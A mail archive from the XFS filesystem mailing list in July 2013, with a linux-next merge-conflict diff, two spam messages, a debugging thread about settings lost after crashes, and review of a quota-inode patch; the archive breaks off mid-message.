1373598956-04cb6c2a42b888f0001-NocioJ Received: from members.tip.net.au (haggis.pcug.org.au [203.10.76.10]) by cuda.sgi.com with ESMTP id 36kIclyWbUxsBfPX for ; Thu, 11 Jul 2013 20:15:57 -0700 (PDT) X-Barracuda-Envelope-From: sfr@canb.auug.org.au X-Barracuda-Apparent-Source-IP: 203.10.76.10 Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by members.tip.net.au (Postfix) with ESMTPSA id 6F5C816406B; Fri, 12 Jul 2013 13:15:51 +1000 (EST) Date: Fri, 12 Jul 2013 13:15:46 +1000 From: Stephen Rothwell To: Andrew Morton Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org, Chandra Seetharaman , Ben Myers , David Chinner , xfs@oss.sgi.com, Glauber Costa Subject: linux-next: manual merge of the akpm tree with the xfs tree Message-Id: <20130712131546.61d05ef97d33d58a28c728db@canb.auug.org.au> X-ASG-Orig-Subj: linux-next: manual merge of the akpm tree with the xfs tree X-Mailer: Sylpheed 3.4.0beta4 (GTK+ 2.24.19; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="PGP-SHA256"; boundary="Signature=_Fri__12_Jul_2013_13_15_46_+1000_+ZSBWRLm1HQHWOJT" X-Barracuda-Connect: haggis.pcug.org.au[203.10.76.10] X-Barracuda-Start-Time: 1373598957 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136509 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Signature=_Fri__12_Jul_2013_13_15_46_+1000_+ZSBWRLm1HQHWOJT Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi Andrew, Today's linux-next merge of the akpm tree got a conflict in fs/xfs/xfs_qm.h between commit 92f8ff73f186 ("xfs: Add pquota fields where gquota is used") from the xfs tree and commit "xfs: convert dquot cache lru to list_lru" from the akpm tree. I fixed it up (see below) and can carry the fix as necessary (no action is required). --=20 Cheers, Stephen Rothwell sfr@canb.auug.org.au diff --cc fs/xfs/xfs_qm.h index 579d6a0,cf2ad1f..0000000 --- a/fs/xfs/xfs_qm.h +++ b/fs/xfs/xfs_qm.h @@@ -44,14 -44,10 +44,12 @@@ extern struct kmem_zone *xfs_qm_dqtrxzo typedef struct xfs_quotainfo { struct radix_tree_root qi_uquota_tree; struct radix_tree_root qi_gquota_tree; + struct radix_tree_root qi_pquota_tree; struct mutex qi_tree_lock; - xfs_inode_t *qi_uquotaip; /* user quota inode */ - xfs_inode_t *qi_gquotaip; /* group quota inode */ + struct xfs_inode *qi_uquotaip; /* user quota inode */ + struct xfs_inode *qi_gquotaip; /* group quota inode */ + struct xfs_inode *qi_pquotaip; /* project quota inode */ - struct list_head qi_lru_list; - struct mutex qi_lru_lock; - int qi_lru_count; + struct list_lru qi_lru; int qi_dquots; time_t qi_btimelimit; /* limit for blks timer */ time_t qi_itimelimit; /* limit for inodes timer */ --Signature=_Fri__12_Jul_2013_13_15_46_+1000_+ZSBWRLm1HQHWOJT Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.20 (GNU/Linux) iQIcBAEBCAAGBQJR33TnAAoJEECxmPOUX5FEdj4P/3q79Hko10rAF8RPkZ310xDm gH2yFo7ncjndKq0y74dqTQGSY08UpwAZPSCT7QaLrpTvHzEz/eKRytnQO7HrpePZ EiqPc3JeHX+i+XN5+jXSFRtNGHLg2hI8QsHoRzWaMKsfYk0/C9wgHgQKWdAwAsdW g65RVvePnAhDr8ZTC+YGVSWOhUuBlBoYdSODs9IX9qAzjGP5IBWvVuQOdekBq0QS Ij6497vO87UtQLf0NXECHQ8oSXXDsR3asjQElv0Rk11I5mEvVgwAZ5JCovPBHT1g XqXgQjh6TiVqQiKxdPVomUTxOHHw4gTJTxuiu9laul4a2zlzGy3EYhJU32ERvSqf osXMQJMKCTIYyagHfvGTPtM1Xemy+9tLvgK1rv9osHy6JmWo6zz/apWvoST/EvIC qJU6oS/CYEVUe94PhiFK5MOkvxnZX8qgOOnGTLqlFR4Y1MJwGQQueClSIZeH8b0N 5NtE6Vs4U8koBDAWwYawye6NFcRG6z+XzO2cFXmS2WQVTceQlauheKYUUvvZoNLz 4VaA/LB7WBmoSH5WBQ733xQJ2VrBVtq0RhhOkpr9IslmIvvSfQB5HA6pu7lAgbOF XINRIbI2DO5xNvFnAnDrOIl59wnfvaR5pjEqTx3UtuWjnYHllqEMF7x/jSdWV6KO cpqRxrHpyHgwplUpJ061 =yhcL -----END PGP SIGNATURE----- --Signature=_Fri__12_Jul_2013_13_15_46_+1000_+ZSBWRLm1HQHWOJT-- From stagelighting71@stagelighting3.xicp.net Thu Jul 11 23:00:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6FD417F3F for ; Thu, 11 Jul 2013 23:00:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5817C304064 for ; Thu, 11 Jul 2013 21:00:01 -0700 (PDT) X-ASG-Debug-ID: 1373601595-04cb6c2a41b8bcb0001-NocioJ Received: from stagelighting3.xicp.net ([163.142.234.89]) by cuda.sgi.com with SMTP id Wl0Q0L7LMqswF052 for ; Thu, 11 Jul 2013 20:59:56 -0700 (PDT) X-Barracuda-Envelope-From: stagelighting71@stagelighting3.xicp.net X-Barracuda-Apparent-Source-IP: 163.142.234.89 Received: from G83DXW5HTPCSDK2[127.0.0.1] by G83DXW5HTPCSDK2[127.0.0.1] (SMTPD32); Fri, 12 Jul 2013 11:11:38 +0800 From: "stage lighting factory" Subject: re:pro stagelight factory To: "xfs" X-ASG-Orig-Subj: re:pro stagelight factory MIME-Version: 1.0 Sender: stagelighting71@stagelighting3.xicp.net Reply-To: sales@6star-lighting.com Date: Fri, 12 Jul 2013 11:11:38 +0800 X-Priority: 3 X-DNSRBL: X-MAIL: PS-MAM01.PSheng.com q9QDEkb8018968 X-Mailer: Foxmail 7.0.1.91[cn] Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Barracuda-Connect: UNKNOWN[163.142.234.89] X-Barracuda-Start-Time: 1373601595 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.24 X-Barracuda-Spam-Status: No, SCORE=0.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136513 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Message-Id: <20130712040001.63A5E1296193@cuda.sgi.com>

    hello sir

    thanks for you email

    see stagelighting price list

     

    thanks

    lima

    From beri666@hotmail.fr Fri Jul 12 00:04:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,FREEMAIL_REPLY,HTML_MESSAGE,MIME_QP_LONG_LINE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7B0D17F54 for ; Fri, 12 Jul 2013 00:04:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4BE138F8033 for ; Thu, 11 Jul 2013 22:04:24 -0700 (PDT) X-ASG-Debug-ID: 1373605460-04bdf02b8ec36b30001-w1Z2WR Received: from a6-ccb07e2096f1 (85-171-210-252.rev.numericable.fr [85.171.210.252]) by cuda.sgi.com with SMTP id ixbGEzBbMJQiDaQY for ; Thu, 11 Jul 2013 22:04:21 -0700 (PDT) X-Barracuda-Envelope-From: beri666@hotmail.fr X-Barracuda-Apparent-Source-IP: 85.171.210.252 Received: from a6-ccb07e2096f1 ([85.171.211.9]) by a6-ccb07e2096f1 ([85.171.211.9]) with SMTPSVC; Fri, 12 Jul 2013 07:04:22 +0200 Message-ID: <5c80ebc832486631c9aa8de00c260cb0@hotmail.fr> From: To: Subject: ECOLEAD Date: Fri, 12 Jul 2013 07:04:22 +0200 X-ASG-Orig-Subj: ECOLEAD MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=MailPart0000_0010_BB49134F" X-Barracuda-Connect: 85-171-210-252.rev.numericable.fr[85.171.210.252] X-Barracuda-Start-Time: 1373605461 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.71 X-Barracuda-Spam-Status: No, SCORE=1.71 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, DYN_RDNS_SHORT_HELO_HTML, HTML_MESSAGE, MAILTO_TO_SPAM_ADDR, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, NO_REAL_NAME, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136517 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.29 DYN_RDNS_SHORT_HELO_HTML Sent by dynamic rDNS, short HELO, and HTML 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multi-part message in MIME format. ------=MailPart0000_0010_BB49134F Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable SPECIAL ANNIVERSAIRE =20 BOXERS=20 Sous-v=C3=AAtements homme Marque : UOMO Produit neuf avec =C3=A9tiquettes, jamais port=C3=A9, vendu dans = l'emballage d'origine =20 Prix exceptionnel Lot de 5 + 1 BOXERS homme pour 10=E2=82=AC Cliquez sur ce lien pour la boutique =C3=A9colead : http://www.ecolead.eu/ Cliquez sur ce lien pour la boutique sur Ebay : = http://stores.ebay.fr/ecolead?_trksid=3Dp4340.l2563 =20 =20 =20 =20 =20 Cigarette =C3=A9lectronique Pr=C3=A9servez votre sant=C3=A9 et faite des =C3=A9conomies Produit neuf et emball=C3=A9 sous blister Prix exceptionnel : 22=E2=82=AC =20 (Au lieu de 49=E2=82=AC minimum vendu en magasin France) Kit =C3=A9lectronique le moins cher du march=C3=A9 et le plus vendu=2E =20 Cliquez sur ce lien pour la boutique ecolead : http://www.ecolead.eu/ Pour se d=C3=A9sinscrire : riber666@live.fr ------=MailPart0000_0010_BB49134F Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable ECOLEAD

    SPECIAL ANNIVERSAIRE

     

    BOXERS

    Sous-v=C3=AAtements homme

    Marque : UOMO

    Produit neuf avec =C3=A9tiquettes, jamais = port=C3=A9, vendu dans l'emballage d'origine

     

    Prix exceptionnel

    Lot de 5 + 1 BOXERS = homme pour 10=E2=82=AC

    Cliquez sur ce lien = pour la boutique =C3=A9colead : http://www.ecolead.eu/

    Cliquez sur ce lien pour la = boutique sur Ebay : http://stores.= ebay.fr/ecolead?_trksid=3Dp4340.l2563    

     

     

     

     


    Cigarette =C3=A9lectronique

    Pr=C3=A9servez votre sant=C3=A9 et faite des = =C3=A9conomies

    Produit neuf et emball=C3=A9 sous = blister

    Prix = exceptionnel : 22=E2=82=AC 

    (Au lieu de 49=E2=82=AC minimum vendu en magasin France)

    Kit =C3=A9lectronique le moins cher du march=C3=A9 et le plus = vendu.

     

    Cliquez sur ce lien pour la boutique = ecolead :   = http://www.ecolead.eu/

     

    Pour se = d=C3=A9sinscrire :      riber666@live.fr

     

    ------=MailPart0000_0010_BB49134F-- From markus@trippelsdorf.de Fri Jul 12 02:07:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D17A47F56 for ; Fri, 12 Jul 2013 02:07:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5FA3FAC001 for ; Fri, 12 Jul 2013 00:07:25 -0700 (PDT) X-ASG-Debug-ID: 1373612842-04cb6c2a42b98ad0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id EDEHWMPFu5TNtqwo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 12 Jul 2013 00:07:23 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:content-transfer-encoding:in-reply-to; s=beta; bh= ZGc/dSylc9nL+B7O4Ta9GMYVb603xfaQIT/tE+aMzGM=; b=bcIDbQ6Ogo1NEZho h6TL8mDsG4jpuBXVI6nIKlpQc6MvECjWtHO14koHAo1hbKq+1+W+6NnCUF2Igh4Z SvqyztuMhIvNsYjgeYcN0jIsJJX9QD4zfU/Rx1p0K+4rQjnGpzpL0v6+g2FEhbGm pQZ4PaWKIs8bOkpTE3X8VpOpdsI= Received: (qmail 30528 invoked from network); 12 Jul 2013 09:07:21 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 12 Jul 2013 09:07:21 +0200 Date: Fri, 12 Jul 2013 09:07:21 +0200 From: Markus Trippelsdorf To: Dave Chinner Cc: Stan Hoeppner , xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130712070721.GA359@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> <20130711035827.GA3438@dastard> <51DE30BC.1050905@hardwarefreak.com> <20130711090755.GA363@x4> <20130712021737.GA5228@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20130712021737.GA5228@dastard> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1373612842 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136525 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.12 at 12:17 +1000, Dave Chinner wrote: > On Thu, Jul 11, 2013 at 11:07:55AM +0200, Markus Trippelsdorf wrote: > > On 2013.07.10 at 23:12 -0500, Stan Hoeppner wrote: > > > On 7/10/2013 10:58 PM, Dave Chinner wrote: > > > > On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: > > > > > > >> I was loosing my KDE settings bit by bit with every reboot during the > > > >> bisection. First my window-rules disappeared, then my desktop background > > > >> changed to default, then my taskbar moved from top to the bottom, etc. > > > >> In the end I had to restore all my .files from backup. > > > > > > > > That's not filesystem corruption. That sounds more like someone not > > > > using fsync in the apropriate place when overwriting a file.... > > > > > > From Sandeen's blog, March 2009: > > > > > > "I dunno how to resolve this right now. I talked to some nice KDE folks > > > on irc; they basically want atomic writes, either you get your old file > > > or your new file post-crash; and tempfile/sync/rename does this – but > > > the fsync hurts on 78% of the Linux filesystems out there. So their > > > KSaveFile class doesn’t fsync. So what to do, what to do.." > > > > > > That's 4 years ago. Is it possible the KDE devs are still not using > > > fsync? Sure seems likely given Markus' problem. > > > > Looking at the source: > > http://api.kde.org/4.10-api/kdelibs-apidocs/kdecore/html/ksavefile_8cpp_source.html#l00219 > > it appears that one can set an environment variable KDE_EXTRA_FSYNC to > > address this issue. > > > > However in my case it doesn't help. Even with KDE_EXTRA_FSYNC=1 I still > > loose my KDE settings in case of a crash. So the whole fsync thing might > > be a red herring. > > > > What's more this time I endend up with undeletable files in /tmp (for > > example .X0-lock) after the crash: > > > > (/dev/sdb was mounted and unmounted normally before I ran xfs_repair) > > > > t@ubunt:~# xfs_repair /dev/sdb > > Phase 1 - find and verify superblock... > > Phase 2 - using internal log > > - zero log... > > - scan filesystem freespace and inode maps... > > agi unlinked bucket 0 is 683435008 in ag 2 (inode=4978402304) > > agi unlinked bucket 1 is 683435009 in ag 2 (inode=4978402305) > > - found root inode chunk > > Again, these are signs that log recovery has not completed > successfully or that for some reason it thought the log was clean. > Can you please post the dmesg output after the crash when you go > through the mount/unmount process before you run xfs_repair? Sure. First boot after crash: XFS (sdb2): Mounting Filesystem XFS (sdb2): Starting recovery (logdev: internal) XFS (sdb2): Ending recovery (logdev: internal) Second boot after crash: XFS (sdb2): Mounting Filesystem XFS (sdb2): Ending clean mount I then boot Ubuntu from another disc to run xfs_repair. And looking through my logs I see this WARNING: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 439 at fs/inode.c:280 drop_nlink+0x33/0x40() CPU: 0 PID: 439 Comm: gconfd-2 Not tainted 3.10.0-08982-g6d128e1-dirty #42 Hardware name: System manufacturer System Product Name/M4A78T-E, BIOS 3503 04/13/2011 0000000000000009 ffffffff8157d030 0000000000000000 ffffffff81060788 ffff8801f8608cc8 ffff880205998230 ffff8801f7bede58 0000000000000000 ffff8801f86083c0 ffffffff8110ce93 ffff8801f8608b40 ffffffff811b7104 Call Trace: [] ? dump_stack+0x41/0x51 [] ? warn_slowpath_common+0x68/0x80 [] ? drop_nlink+0x33/0x40 [] ? xfs_droplink+0x24/0x60 [] ? xfs_remove+0x24d/0x380 [] ? xfs_vn_unlink+0x37/0x80 [] ? vfs_unlink+0x6e/0xe0 [] ? do_unlinkat+0x16a/0x220 [] ? SyS_faccessat+0x149/0x200 [] ? system_call_fastpath+0x16/0x1b ---[ end trace de5865b7c20ab8e4 ]--- -- Markus From cmaiolino@redhat.com Fri Jul 12 09:28:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0C8317F37 for ; Fri, 12 Jul 2013 09:28:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D83B28F8033 for ; Fri, 12 Jul 2013 07:27:58 -0700 (PDT) X-ASG-Debug-ID: 1373639277-04cb6c2a41bba4b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 24IE0PVXllFYRh0D for ; Fri, 12 Jul 2013 07:27:58 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6CERvuc012184 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 12 Jul 2013 10:27:57 -0400 Received: from andromeda.usersys.redhat.com (ovpn-113-48.phx2.redhat.com [10.3.113.48]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6CERrAa016131 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 12 Jul 2013 10:27:56 -0400 Date: Fri, 12 Jul 2013 11:27:52 -0300 From: Carlos Maiolino To: Chandra Seetharaman Cc: XFS mailing list Subject: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO Message-ID: <20130712142751.GA11446@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO References: <1373593665.20769.10.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373593665.20769.10.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373639277 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Jul 11, 2013 at 08:47:45PM -0500, Chandra Seetharaman wrote: > > mkfs doesn't initialize the quota inodes to NULLFSINO as it > does for the other internal inodes. This leads to check for two > values (0 and NULLFSINO) to make sure if a quota inode is > valid. > > Solve that problem by initializing the values to NULLFSINO > if they are 0. > > Note that these values are not written back to on-disk > superblock unless some quota is enabled on the filesystem. > > Signed-off-by: Chandra Seetharaman > --- > fs/xfs/xfs_mount.c | 12 ++++++++++++ > 1 files changed, 12 insertions(+), 0 deletions(-) > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index 2b0ba35..8b95933 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -572,6 +572,18 @@ out_unwind: > static void > xfs_sb_quota_from_disk(struct xfs_sb *sbp) > { > + /* > + * older mkfs doesn't initialize quota inodes to NULLFSINO, > + * which leads to two values for a quota inode to be invalid: > + * 0 and NULLFSINO. Fix it. > + */ > + if (sbp->sb_uquotino == 0) > + sbp->sb_uquotino = NULLFSINO; > + if (sbp->sb_gquotino == 0) > + sbp->sb_gquotino = NULLFSINO; > + if (sbp->sb_pquotino == 0) > + sbp->sb_pquotino = NULLFSINO; > + > if (sbp->sb_qflags & XFS_OQUOTA_ENFD) > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; > -- > 1.7.1 > Hi, in this case, wouldn't be better to make mkfs initialize the quota inodes with NULLFSINO instead of need to convert it into kernel? -- Carlos From sekharan@us.ibm.com Fri Jul 12 09:50:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 79BA27F37 for ; Fri, 12 Jul 2013 09:50:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CAD80AC006 for ; Fri, 12 Jul 2013 07:50:21 -0700 (PDT) X-ASG-Debug-ID: 1373640617-04cbb04690e66460001-NocioJ Received: from e7.ny.us.ibm.com (e7.ny.us.ibm.com [32.97.182.137]) by cuda.sgi.com with ESMTP id F2YYIVBXSxQl6NYS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 12 Jul 2013 07:50:17 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.182.137 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] Received: from /spool/local by e7.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 12 Jul 2013 10:50:16 -0400 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] Received: from d01dlp03.pok.ibm.com (9.56.250.168) by e7.ny.us.ibm.com (192.168.1.107) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 12 Jul 2013 10:50:14 -0400 Received: from d01relay04.pok.ibm.com (d01relay04.pok.ibm.com [9.56.227.236]) by d01dlp03.pok.ibm.com (Postfix) with ESMTP id 86612C9003E for ; Fri, 12 Jul 2013 10:50:12 -0400 (EDT) Received: from d03av04.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by d01relay04.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6CEoDJr307822 for ; Fri, 12 Jul 2013 10:50:13 -0400 Received: from d03av04.boulder.ibm.com (loopback [127.0.0.1]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6CEoCuQ032721 for ; Fri, 12 Jul 2013 08:50:12 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6CEoCgH032558; Fri, 12 Jul 2013 08:50:12 -0600 Subject: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO Reply-To: sekharan@us.ibm.com To: Carlos Maiolino Cc: XFS mailing list In-Reply-To: <20130712142751.GA11446@andromeda.usersys.redhat.com> References: <1373593665.20769.10.camel@chandra-dt.ibm.com> <20130712142751.GA11446@andromeda.usersys.redhat.com> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Fri, 12 Jul 2013 09:50:11 -0500 Message-ID: <1373640611.20769.13.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071214-5806-0000-0000-00002209ED71 X-Barracuda-Connect: e7.ny.us.ibm.com[32.97.182.137] X-Barracuda-Start-Time: 1373640617 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, 2013-07-12 at 11:27 -0300, Carlos Maiolino wrote: > On Thu, Jul 11, 2013 at 08:47:45PM -0500, Chandra Seetharaman wrote: > > > > mkfs doesn't initialize the quota inodes to NULLFSINO as it > > does for the other internal inodes. This leads to check for two > > values (0 and NULLFSINO) to make sure if a quota inode is > > valid. > > > > Solve that problem by initializing the values to NULLFSINO > > if they are 0. > > > > Note that these values are not written back to on-disk > > superblock unless some quota is enabled on the filesystem. > > > > Signed-off-by: Chandra Seetharaman > > --- > > fs/xfs/xfs_mount.c | 12 ++++++++++++ > > 1 files changed, 12 insertions(+), 0 deletions(-) > > > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > > index 2b0ba35..8b95933 100644 > > --- a/fs/xfs/xfs_mount.c > > +++ b/fs/xfs/xfs_mount.c > > @@ -572,6 +572,18 @@ out_unwind: > > static void > > xfs_sb_quota_from_disk(struct xfs_sb *sbp) > > { > > + /* > > + * older mkfs 